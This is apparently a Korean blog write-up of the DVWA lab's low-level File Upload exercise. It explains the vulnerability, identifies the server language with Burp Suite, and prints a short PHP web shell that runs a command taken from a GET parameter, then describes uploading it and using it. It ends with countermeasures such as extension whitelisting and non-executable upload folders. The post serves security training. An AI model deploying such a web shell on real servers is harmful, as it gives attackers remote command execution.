DVWA 실습 (File Upload - low)

1. 파일 업로드 이란?

파일업로드 공격이란? 
웹 서버가 사용자가 파일의 이름, 유형, 콘텐츠 또는 크기 등을 충분히 검증하지 않고 파일 시스템에 파일을 업로드하도록 허용하는 경우에 발생하는 취약점이며, 이러한 파일 업로드 기능을 통해 공격자가 악성 파일을 업로드하고 실행하거나 다양한 보안 취약점을 이용하여 시스템에 침입하려는 시도를 포함할 수 있다.

 

2. 환경조사

- 해당 페이지의 서버 측 스크립트 언어가 무엇으로 사용하는지 알아야지 파일업로드 공격 후 사용할 수 있다. 그렇기에 페이지의 환경을 burpsuite를 통해 조사를 해본다.

 

- 조사결과 PHPSESSID를 통해 해당 서버 측 스크립트 언어가 PHP라는것을 확인할 수 있다.

3. 파일업로드 공격

  • PHP 웹쉘 코드
더보기

<?php
$cmd = $_GET ['command'];
if(isset($cmd))
system($cmd);
?>

- 위와 같이 웹쉘을 생성한 후 코드를 올린다. (만약 저장이 안 된다면 윈도우 방화벽에서 필터링하고 있을 것이므로 잠시 실습동안 꺼두면 된다.)

 

- 업로드 한 결과 파일에 관련된 필터는 없는 것으로 확인이 된다.

- 그리고 현재 페이지의 ../../hackable/uploads/webshell.php로 올라갔다는 문구가 나왔다.(../ 는 리눅스에서 상위 디렉터리)

- 해당 경로의 페이지로 접근하여 웹쉘 파일을 사용이 되는 것을 알 수 있다.

 

4. 대응방안

더보기

1)웹 서버 측에서 업로드 대상 파일의 확장자를 서버 사이드 스크립트에서 검증하며 화이트리스트 방식으로 필터링하여야 하며 특수 문자 및 유니코드 제거해야한다.

2) 파일을 데이터베이스에 저장하거나 격리된 서버를 사용하는것이 좋다.

3) 업로드된 디렉토리는 실행 권한을 주지 않으며, 파일 크기의 최대값을 제한한다.

4) 정적 파일의 응답에 보안 헤더를 추가하여 웹사이트 보호한다.

5) 업로드 폴더 이외의 폴더에 쓰기 권한을 제거하고, 구성 파일이 적절하게 설정되어 있는지 확인

 

'DVWA' 카테고리의 다른 글

DVWA실습 (File Inclusion)  (0) 2023.12.03
DVWA 실습(File Upload - Hard)  (0) 2023.12.01
DVWA 실습 (File Upload - Medium)  (0) 2023.12.01
환경구축 ( DVWA 설치 )  (1) 2023.11.30
환경구축 ( 칼리리눅스 설치)  (1) 2023.11.29